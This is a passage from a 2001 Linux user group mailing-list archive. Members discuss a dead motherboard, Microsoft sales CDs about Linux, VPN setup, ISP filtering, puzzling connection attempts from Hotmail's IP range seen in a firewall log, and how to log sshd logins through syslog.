out really important errors like Oopses or Panics. Anyway, it sounds to me that the source of the problem could be an overclocked CPU or other subsystem (the IDE or SCSI bus or controller might be overclocked somehow). Possibly bad memory. Maybe a bad sector or something in the swap partition (try `mkswap -c /dev/hdXY'). Make sure all appropriate BIOSes are up-to-date (motherboard, SCSI host adapter, maybe even any SCSI devices themselves) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Any wire cut to length / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ will be too short. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010823/5e96875c/attachment.pgp From tanner at real-time.com Thu Aug 23 23:57:06 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:46 2005 Subject: [TCLUG] Anyone got or can get one of these cds? Message-ID: <20010823235706.A7639@real-time.com> http://linuxtoday.com/news_story.php3?ltsn=2001-08-23-014-20-NW-MS >Surprisingly enough, this month's edition contained 2 CDs titled: "Competing >with Linux". > > One is a "Sales Training CD" aimed at resellers and solution partners. It > primarily deals with how MS-zealots should deal with clients asking tough > questions about Linux viability. As you can guess, it's really focussed on > downplaying Linux as possible competition for MS-based solutions. From the > tone of it, it looks like there is some serious concerns about Linux from the > boys in Redmond. It talks about the threats Linux poses to MS solutions, but > even goes as far as telling resellers & solution partners whom to focus on in > a enterprise when trying to convince enterprises not to opt for Linux. There > is even - and this is *really* hilariously stupid - a multiple choice game at > the end of the CD where you have to answer a fictitious client's questions > about Linux. You score points by clicking on the answers that dismiss Linux as > a viable enterprise solution. I know some people here at the office (and those > folks are primarily an MS-centered business) had a good laugh about this. Anyone get or can get one of these cds? I'd like to read what MS says and I'd like to be able to dismiss their dismissal of Linux. :-) -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From simeonuj at eetc.com Fri Aug 24 08:29:38 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:46 2005 Subject: [TCLUG] Linux-Microsoft Secure VPNs? References: <3B83E742.4070807@talkware.net> Message-ID: <3B8656BE.DAEC2B89@eetc.com> Jason Jorgensen wrote: > > Has anyone setup some sort of VPN server in linux that supports windows > clients? If so, how secure is it? PoPToP works well. > I am in the process of setting up PopTop with the MS PPE patched ppp. Is > there a better alternative? Not bad. None that I know of that supports all the way back to 98. And, as several people have mentioned, cipe. I would go with whichever is fastest. You would probably have to do some testing to figure that out though. > Basically I want to get remote employee windows dialup clients into out > network as secure as possible. IIRC ipsec doesn't like masquerading which is why we didn't use it (May be fixed now). It also doesn't come w/ a free client for windows. :) It was fairly easy to setup a VPN. I was only responsible for the firewall and didn't setup the VPN so I can't really help you there. PoPToP is pretty easy to configure though. sim From kbullock at ringworld.org Fri Aug 24 08:53:54 2001 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:26:46 2005 Subject: [TCLUG] Dead mobo, Athlon question In-Reply-To: Message-ID: On Wed, 22 Aug 2001, Brian wrote: > On Tue, 21 Aug 2001, Kevin R. Bullock wrote: > > > When I got home from dinner last night, I tried to wake my computer up (I > > had left it asleep), to no avail. I hit the reset switch. Nothing. I held > > in the ATX power switch on the front for four seconds. It didn't turn off. > > I have a similar problem on my parent's machine. It's an Abit KT7 and for > some reason if you cold boot the machine it refuses to bring up the video > card. If I unplug the power cable from the machine, plug it back in > and power it up it's just fine. Thanks. I will try this, even though my problem is different. When I tried to turn it on, the PS fans didn't even start spinning. Absolutely *no* *response* from the machine. Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From doug at northlandstudios.com Fri Aug 24 07:28:48 2001 From: doug at northlandstudios.com (Doug) Date: Mon Jan 17 13:26:47 2005 Subject: [TCLUG] Anyone got or can get one of these cds? In-Reply-To: <20010823235706.A7639@real-time.com> References: <20010823235706.A7639@real-time.com> Message-ID: <998656139.4790.4.camel@thor.valhalla> Where I work we are an MCSP and get shipments like this. We got our monthly shipment yesterday, and I'll look through it today if I can and let ya know if we got them. Doug On Thu, 2001-08-23 at 23:57, Bob Tanner wrote: > http://linuxtoday.com/news_story.php3?ltsn=2001-08-23-014-20-NW-MS > > >Surprisingly enough, this month's edition contained 2 CDs titled: "Competing > >with Linux". > > > > One is a "Sales Training CD" aimed at resellers and solution partners. It > > primarily deals with how MS-zealots should deal with clients asking tough > > questions about Linux viability. As you can guess, it's really focussed on > > downplaying Linux as possible competition for MS-based solutions. From the > > tone of it, it looks like there is some serious concerns about Linux from the > > boys in Redmond. It talks about the threats Linux poses to MS solutions, but > > even goes as far as telling resellers & solution partners whom to focus on in > > a enterprise when trying to convince enterprises not to opt for Linux. There > > is even - and this is *really* hilariously stupid - a multiple choice game at > > the end of the CD where you have to answer a fictitious client's questions > > about Linux. You score points by clicking on the answers that dismiss Linux as > > a viable enterprise solution. I know some people here at the office (and those > > folks are primarily an MS-centered business) had a good laugh about this. > > Anyone get or can get one of these cds? > > I'd like to read what MS says and I'd like to be able to dismiss their dismissal > of Linux. :-) > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010824/ed273c7b/attachment.htm From eng at pinenet.com Fri Aug 24 07:24:53 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:47 2005 Subject: [TCLUG] ATT filtering and now bring in lawyers Message-ID: <20010824.12245300@linwin.mshome.net> The rapid consolidation of internet access providers, and the likelyhood for abuse has stirred me to present this group's findings to Minnesota's political leadership. There is no constitutional guarantee more entrenched than the freedom to communicate. Freedom of the press, speech, assembly, etc., are examples of this. The fact that communication is migrating to electronic media and "internet" technology does not alter this guarantee. Many laws now exist specific to earlier media. Excessive market influence is already prevented in printed and broadcast media. Choosing between M$ (Qwest) and ATT is no choice. Conceeding censorship rights and access control can't be done by imposed contract agreements. No excuses, no exceptions. Never in American history has such disproportionate control of communication been at stake. Our economy is in a takeover phase with many weakened enterprises wide open to the corporate wolves with access to low interest money. And protection under law must be established. Instead of M$ and ATT spending money to eliminate competition, they should clean up their sickly software. The cigarette companies have learned that a little users agreement warning label does not protect them from liability. From veldy at veldy.net Fri Aug 24 07:48:02 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:48 2005 Subject: [TCLUG] hotmail servers scanning... References: Message-ID: <003201c12c9b$043cc8d0$3028680a@tgt.com> This block is not all Hotmail. At least some of these (i.e. 64.1.x.x is XO) communications. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Joshua b. Jore" To: Sent: Thursday, August 23, 2001 10:12 AM Subject: Re: [TCLUG] hotmail servers scanning... > Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP > relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't watching? > It's just wierdly coordinated - all these different IPs within the same ARIN > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't recognized > any IPs I've fed it so I'm not sure what to make of it. I might just phone > the contact for the ARIN block at Hotmail and see if he knows what's going on. > > Joshua Jore > Minneapolis Ward 3, precinct 10 > "The irony of this man being imprisoned in the United States and longing > to return to once-Communist Russia so he can regain his right to free > speech is simply staggering." - someone else > > On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > > > > Hey, Josh - > > > > I don't know if this means anything, but while I was working on locking > > down SMTP over here, we were alerted to the problem because earthlink was > > doing scans to make sure we didn't have any open SMTP relays - not always > > on the standard port...perhaps hotmail's doing the same thing OR someone > > going through hotmail is trying to find an opening to spam from? > > > > Liz > > > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > > > Nope, the box getting the connections is MS-free. The only reason hotmail shoudl be talking to my box is to deliver mail or do DNS in the service of mail. In that case I should see connections *to* ports 25 and 53, not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > > > Joshua Jore > > > Minneapolis Ward 3, precinct 10 > > > "The irony of this man being imprisoned in the United States and longing > > > to return to once-Communist Russia so he can regain his right to free > > > speech is simply staggering." - someone else > > > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > > > Are you logged on to msn messenger or logged into the hotmail service on any > > > > machine? I'm not sure if messenger uses port 25 for anything or not (believe > > > > it does), but I know it does use non-standard ports as well. I'd find it > > > > hard to believe it's trojaned and snooping you but then again it's M$ so who > > > > really knows what's going on there ;-) > > > > ----- Original Message ----- > > > > From: "Joshua b. Jore" > > > > To: > > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com IP range > > > > > doing some curious scanning. The same IP will try several times to connect > > > > to > > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > > > I'm including a grep from my firewall log where it shows the hotmail IP, > > > > the > > > > > source port, the destination port (where I blocked the access) and how > > > > many > > > > > times the hotmail IP tried. So what's going on? Is hotmail trojaned or > > > > > something? Am I just missing something important here? > > > > > > > > > > 64.4.55.73 25 8546 6 > > > > > 64.4.55.171 25 10273 6 > > > > > 64.4.42.33 25 18839 11 > > > > > 64.4.49.144 25 44093 11 > > > > > 64.4.56.229 25 42600 7 > > > > > 64.4.56.203 25 11097 6 > > > > > 64.4.56.176 25 21336 5 > > > > > 64.4.55.20 25 40832 10 > > > > > 64.4.55.155 25 47103 11 > > > > > 64.4.42.30 25 29489 11 > > > > > 64.4.50.13 25 48844 11 > > > > > 64.4.56.226 25 23369 6 > > > > > > > > > > Joshua Jore > > > > > Minneapolis Ward 3, precinct 10 > > > > > "The irony of this man being imprisoned in the United States and longing > > > > > to return to once-Communist Russia so he can regain his right to free > > > > > speech is simply staggering." - someone else > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@mn-linux.org > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > -- > > Imagination is intelligence having fun... > > e-mail: kethry@winternet.com > > URL: http://WWW.winternet.com/~kethry/index.html > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 24 09:38:03 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:48 2005 Subject: [TCLUG] Dead mobo, Athlon question References: Message-ID: <002401c12caa$62714f20$3028680a@tgt.com> Sounds like a dead power supply to me. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Kevin R. Bullock" To: "TCLUG" Sent: Friday, August 24, 2001 8:53 AM Subject: Re: [TCLUG] Dead mobo, Athlon question > On Wed, 22 Aug 2001, Brian wrote: > > > On Tue, 21 Aug 2001, Kevin R. Bullock wrote: > > > > > When I got home from dinner last night, I tried to wake my computer up (I > > > had left it asleep), to no avail. I hit the reset switch. Nothing. I held > > > in the ATX power switch on the front for four seconds. It didn't turn off. > > > > I have a similar problem on my parent's machine. It's an Abit KT7 and for > > some reason if you cold boot the machine it refuses to bring up the video > > card. If I unplug the power cable from the machine, plug it back in > > and power it up it's just fine. > > Thanks. I will try this, even though my problem is different. When I > tried to turn it on, the PS fans didn't even start spinning. Absolutely > *no* *response* from the machine. > > Pacem in Terris / Mir / Shanti / Salaam / Heiwa > Kevin R. Bullock > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 24 09:47:51 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] hotmail servers scanning... References: <003201c12c9b$043cc8d0$3028680a@tgt.com> Message-ID: <003801c12cab$c6bc3f20$3028680a@tgt.com> That is, some of the block belongs to XO communications -- in particular, its DSL users :) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Thomas T. Veldhouse" To: Sent: Friday, August 24, 2001 7:48 AM Subject: Re: [TCLUG] hotmail servers scanning... > This block is not all Hotmail. At least some of these (i.e. 64.1.x.x is XO) > communications. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Joshua b. Jore" > To: > Sent: Thursday, August 23, 2001 10:12 AM > Subject: Re: [TCLUG] hotmail servers scanning... > > > > Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP > > relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't > watching? > > It's just wierdly coordinated - all these different IPs within the same > ARIN > > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't > recognized > > any IPs I've fed it so I'm not sure what to make of it. I might just phone > > the contact for the ARIN block at Hotmail and see if he knows what's going > on. > > > > Joshua Jore > > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > > to return to once-Communist Russia so he can regain his right to free > > speech is simply staggering." - someone else > > > > On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > > > > > > > Hey, Josh - > > > > > > I don't know if this means anything, but while I was working on locking > > > down SMTP over here, we were alerted to the problem because earthlink > was > > > doing scans to make sure we didn't have any open SMTP relays - not > always > > > on the standard port...perhaps hotmail's doing the same thing OR someone > > > going through hotmail is trying to find an opening to spam from? > > > > > > Liz > > > > > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > > > > > Nope, the box getting the connections is MS-free. The only reason > hotmail shoudl be talking to my box is to deliver mail or do DNS in the > service of mail. In that case I should see connections *to* ports 25 and 53, > not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > > > > > Joshua Jore > > > > Minneapolis Ward 3, precinct 10 > > > > "The irony of this man being imprisoned in the United States and > longing > > > > to return to once-Communist Russia so he can regain his right to free > > > > speech is simply staggering." - someone else > > > > > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > > > > > Are you logged on to msn messenger or logged into the hotmail > service on any > > > > > machine? I'm not sure if messenger uses port 25 for anything or not > (believe > > > > > it does), but I know it does use non-standard ports as well. I'd > find it > > > > > hard to believe it's trojaned and snooping you but then again it's > M$ so who > > > > > really knows what's going on there ;-) > > > > > ----- Original Message ----- > > > > > From: "Joshua b. Jore" > > > > > To: > > > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com > IP range > > > > > > doing some curious scanning. The same IP will try several times to > connect > > > > > to > > > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > > > > > I'm including a grep from my firewall log where it shows the > hotmail IP, > > > > > the > > > > > > source port, the destination port (where I blocked the access) and > how > > > > > many > > > > > > times the hotmail IP tried. So what's going on? Is hotmail > trojaned or > > > > > > something? Am I just missing something important here? > > > > > > > > > > > > 64.4.55.73 25 8546 6 > > > > > > 64.4.55.171 25 10273 6 > > > > > > 64.4.42.33 25 18839 11 > > > > > > 64.4.49.144 25 44093 11 > > > > > > 64.4.56.229 25 42600 7 > > > > > > 64.4.56.203 25 11097 6 > > > > > > 64.4.56.176 25 21336 5 > > > > > > 64.4.55.20 25 40832 10 > > > > > > 64.4.55.155 25 47103 11 > > > > > > 64.4.42.30 25 29489 11 > > > > > > 64.4.50.13 25 48844 11 > > > > > > 64.4.56.226 25 23369 6 > > > > > > > > > > > > Joshua Jore > > > > > > Minneapolis Ward 3, precinct 10 > > > > > > "The irony of this man being imprisoned in the United States and > longing > > > > > > to return to once-Communist Russia so he can regain his right to > free > > > > > > speech is simply staggering." - someone else > > > > > > > > > > > > _______________________________________________ > > > > > > tclug-list mailing list > > > > > > tclug-list@mn-linux.org > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@mn-linux.org > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > -- > > > Imagination is intelligence having fun... > > > e-mail: kethry@winternet.com > > > URL: http://WWW.winternet.com/~kethry/index.html > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From mkroska at readynetgo.com Fri Aug 24 10:00:02 2001 From: mkroska at readynetgo.com (Mark K) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: <003201c12c9b$043cc8d0$3028680a@tgt.com> Message-ID: Yes, but the 64.4.x.x is owned by Hotmail... MS Hotmail (NETBLK-HOTMAIL) 1065 La Avenida Mountain View, CA 94043 US Netname: HOTMAIL Netblock: 64.4.0.0 - 64.4.63.255 Coordinator: Myers, Michael (MM520-ARIN) icon@HOTMAIL.COM 650-693-7072 Domain System inverse mapping provided by: NS1.HOTMAIL.COM 216.200.206.140 NS3.HOTMAIL.COM 209.185.130.68 Record last updated on 09-Jan-2001. Database last updated on 23-Aug-2001 23:14:12 EDT. MK On Fri, 24 Aug 2001, Thomas T. Veldhouse wrote: > This block is not all Hotmail. At least some of these (i.e. 64.1.x.x is XO) > communications. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Joshua b. Jore" > To: > Sent: Thursday, August 23, 2001 10:12 AM > Subject: Re: [TCLUG] hotmail servers scanning... > > > > Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP > > relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't > watching? > > It's just wierdly coordinated - all these different IPs within the same > ARIN > > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't > recognized > > any IPs I've fed it so I'm not sure what to make of it. I might just phone > > the contact for the ARIN block at Hotmail and see if he knows what's going > on. > > > > Joshua Jore > > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > > to return to once-Communist Russia so he can regain his right to free > > speech is simply staggering." - someone else > > > > On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > > > > > > > Hey, Josh - > > > > > > I don't know if this means anything, but while I was working on locking > > > down SMTP over here, we were alerted to the problem because earthlink > was > > > doing scans to make sure we didn't have any open SMTP relays - not > always > > > on the standard port...perhaps hotmail's doing the same thing OR someone > > > going through hotmail is trying to find an opening to spam from? > > > > > > Liz > > > > > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > > > > > Nope, the box getting the connections is MS-free. The only reason > hotmail shoudl be talking to my box is to deliver mail or do DNS in the > service of mail. In that case I should see connections *to* ports 25 and 53, > not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > > > > > Joshua Jore > > > > Minneapolis Ward 3, precinct 10 > > > > "The irony of this man being imprisoned in the United States and > longing > > > > to return to once-Communist Russia so he can regain his right to free > > > > speech is simply staggering." - someone else > > > > > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > > > > > Are you logged on to msn messenger or logged into the hotmail > service on any > > > > > machine? I'm not sure if messenger uses port 25 for anything or not > (believe > > > > > it does), but I know it does use non-standard ports as well. I'd > find it > > > > > hard to believe it's trojaned and snooping you but then again it's > M$ so who > > > > > really knows what's going on there ;-) > > > > > ----- Original Message ----- > > > > > From: "Joshua b. Jore" > > > > > To: > > > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com > IP range > > > > > > doing some curious scanning. The same IP will try several times to > connect > > > > > to > > > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > > > > > I'm including a grep from my firewall log where it shows the > hotmail IP, > > > > > the > > > > > > source port, the destination port (where I blocked the access) and > how > > > > > many > > > > > > times the hotmail IP tried. So what's going on? Is hotmail > trojaned or > > > > > > something? Am I just missing something important here? > > > > > > > > > > > > 64.4.55.73 25 8546 6 > > > > > > 64.4.55.171 25 10273 6 > > > > > > 64.4.42.33 25 18839 11 > > > > > > 64.4.49.144 25 44093 11 > > > > > > 64.4.56.229 25 42600 7 > > > > > > 64.4.56.203 25 11097 6 > > > > > > 64.4.56.176 25 21336 5 > > > > > > 64.4.55.20 25 40832 10 > > > > > > 64.4.55.155 25 47103 11 > > > > > > 64.4.42.30 25 29489 11 > > > > > > 64.4.50.13 25 48844 11 > > > > > > 64.4.56.226 25 23369 6 > > > > > > > > > > > > Joshua Jore > > > > > > Minneapolis Ward 3, precinct 10 > > > > > > "The irony of this man being imprisoned in the United States and > longing > > > > > > to return to once-Communist Russia so he can regain his right to > free > > > > > > speech is simply staggering." - someone else > > > > > > > > > > > > _______________________________________________ > > > > > > tclug-list mailing list > > > > > > tclug-list@mn-linux.org > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@mn-linux.org > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > -- > > > Imagination is intelligence having fun... > > > e-mail: kethry@winternet.com > > > URL: http://WWW.winternet.com/~kethry/index.html > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- ________________________________________________________ ReadyNET Go!, Inc. - Building your Business on the net ________________________________________________________ Mark J. Kroska MIS Director 320.656.0765 Voice 888.447.3239 Toll Free 320.203.7052 Fax http://www.readynetgo.com mailto:mkroska@readynetgo.com ________________________________________________________ From dieman+tclug at ringworld.org Fri Aug 24 10:14:08 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] ATT filtering and now bring in lawyers In-Reply-To: <20010824.12245300@linwin.mshome.net> References: <20010824.12245300@linwin.mshome.net> Message-ID: <20010824101408.B5088@ringworld.org> * Rick Engebretson [010824 09:26]: > Choosing between M$ (Qwest) and ATT is no choice. Conceeding censorship Yes, there is. Buy a Fractional T1 and a frame relay to any ISP in the area. Norlight, KMC, and twtelecom are three off the top of my head that could provide the services afaik. McLeod too. Or better yet, pick a large national tier 1 isp. The internet is *not* a regulated space, its via cooperation. If some ISP's don't want to do what you want, you pick another. There is no law saying that. Perhaps they will have to disclose what they do more, but this is completely insane. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From lxy at cloudnet.com Fri Aug 24 10:16:32 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: <003801c12cab$c6bc3f20$3028680a@tgt.com> Message-ID: On Fri, 24 Aug 2001, Thomas T. Veldhouse wrote: > That is, some of the block belongs to XO communications -- in particular, > its DSL users :) Don't discount spoofed IP addresses. One thing I noticed when dinking around with IPchains is that in an SMTP request, the requests may originate from port 25 but communicate on a different (unreserved) port number. I wonder if it's a 5cr1pt k1dd13 just trying to exploit sendmail. Just a thought. -Brian oh yeah, and trim your posts ppl :-) From shane at shell.schulte.org Fri Aug 24 10:51:19 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] sshd log files Message-ID: Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere in the file system? I can't seem to find any...do I have to write my own to keep track of who logs in? ~Shane From trammell at trammell.dyndns.org Fri Aug 24 15:16:32 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] sshd log files In-Reply-To: ; from shane@shell.schulte.org on Fri, Aug 24, 2001 at 10:51:19AM -0500 References: Message-ID: <20010824151632.A24939@trammell.dyndns.org> On Fri, Aug 24, 2001 at 10:51:19AM -0500, Shane Kinney wrote: > Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere in > the file system? I can't seem to find any...do I have to write my own to > keep track of who logs in? Aren't they in /var/log? -- Aren't you, at this point, cutting down a California Redwood using a banana *and* a particle accelerator? - Bernard El-Hagin, in CLPM From shane at shell.schulte.org Fri Aug 24 11:03:50 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] sshd log files In-Reply-To: <20010824151632.A24939@trammell.dyndns.org> Message-ID: No, not that I have seen. I have greped the entire thing. Can't find it... There might be a command I think to generate these files: SysLogFacility(?)....not sure...help! ~Shane On Fri, 24 Aug 2001, John J. Trammell wrote: > On Fri, Aug 24, 2001 at 10:51:19AM -0500, Shane Kinney wrote: > > Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere in > > the file system? I can't seem to find any...do I have to write my own to > > keep track of who logs in? > > Aren't they in /var/log? > > -- > Aren't you, at this point, cutting down a California Redwood using a > banana *and* a particle accelerator? > - Bernard El-Hagin, in CLPM > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From duncan at sodatrain.com Fri Aug 24 11:01:42 2001 From: duncan at sodatrain.com (duncan) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] sshd log files References: Message-ID: <3B867A66.506CE57C@sodatrain.com> You can add this to your syslog.conf file to keep track of who logs in.... # Log all logins to /var/log/loginlog auth.*;user.*;daemon.none /var/log/loginlog Shane Kinney wrote: > Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere in > the file system? I can't seem to find any...do I have to write my own to > keep track of who logs in? > ~Shane > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From josh at greentechnologist.org Fri Aug 24 06:15:18 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: <003201c12c9b$043cc8d0$3028680a@tgt.com> Message-ID: Oh sorry, I mis-spoke. It's 64.4.0.0 - 64.4.53.255 Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Fri, 24 Aug 2001, Thomas T. Veldhouse wrote: > This block is not all Hotmail. At least some of these (i.e. 64.1.x.x is XO) > communications. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Joshua b. Jore" > To: > Sent: Thursday, August 23, 2001 10:12 AM > Subject: Re: [TCLUG] hotmail servers scanning... > > > > Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP > > relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't > watching? > > It's just wierdly coordinated - all these different IPs within the same > ARIN > > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't > recognized > > any IPs I've fed it so I'm not sure what to make of it. I might just phone > > the contact for the ARIN block at Hotmail and see if he knows what's going > on. > > > > Joshua Jore > > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > > to return to once-Communist Russia so he can regain his right to free > > speech is simply staggering." - someone else > > > > On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > > > > > > > Hey, Josh - > > > > > > I don't know if this means anything, but while I was working on locking > > > down SMTP over here, we were alerted to the problem because earthlink > was > > > doing scans to make sure we didn't have any open SMTP relays - not > always > > > on the standard port...perhaps hotmail's doing the same thing OR someone > > > going through hotmail is trying to find an opening to spam from? > > > > > > Liz > > > > > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > > > > > Nope, the box getting the connections is MS-free. The only reason > hotmail shoudl be talking to my box is to deliver mail or do DNS in the > service of mail. In that case I should see connections *to* ports 25 and 53, > not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > > > > > Joshua Jore > > > > Minneapolis Ward 3, precinct 10 > > > > "The irony of this man being imprisoned in the United States and > longing > > > > to return to once-Communist Russia so he can regain his right to free > > > > speech is simply staggering." - someone else > > > > > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > > > > > Are you logged on to msn messenger or logged into the hotmail > service on any > > > > > machine? I'm not sure if messenger uses port 25 for anything or not > (believe > > > > > it does), but I know it does use non-standard ports as well. I'd > find it > > > > > hard to believe it's trojaned and snooping you but then again it's > M$ so who > > > > > really knows what's going on there ;-) > > > > > ----- Original Message ----- > > > > > From: "Joshua b. Jore" > > > > > To: > > > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com > IP range > > 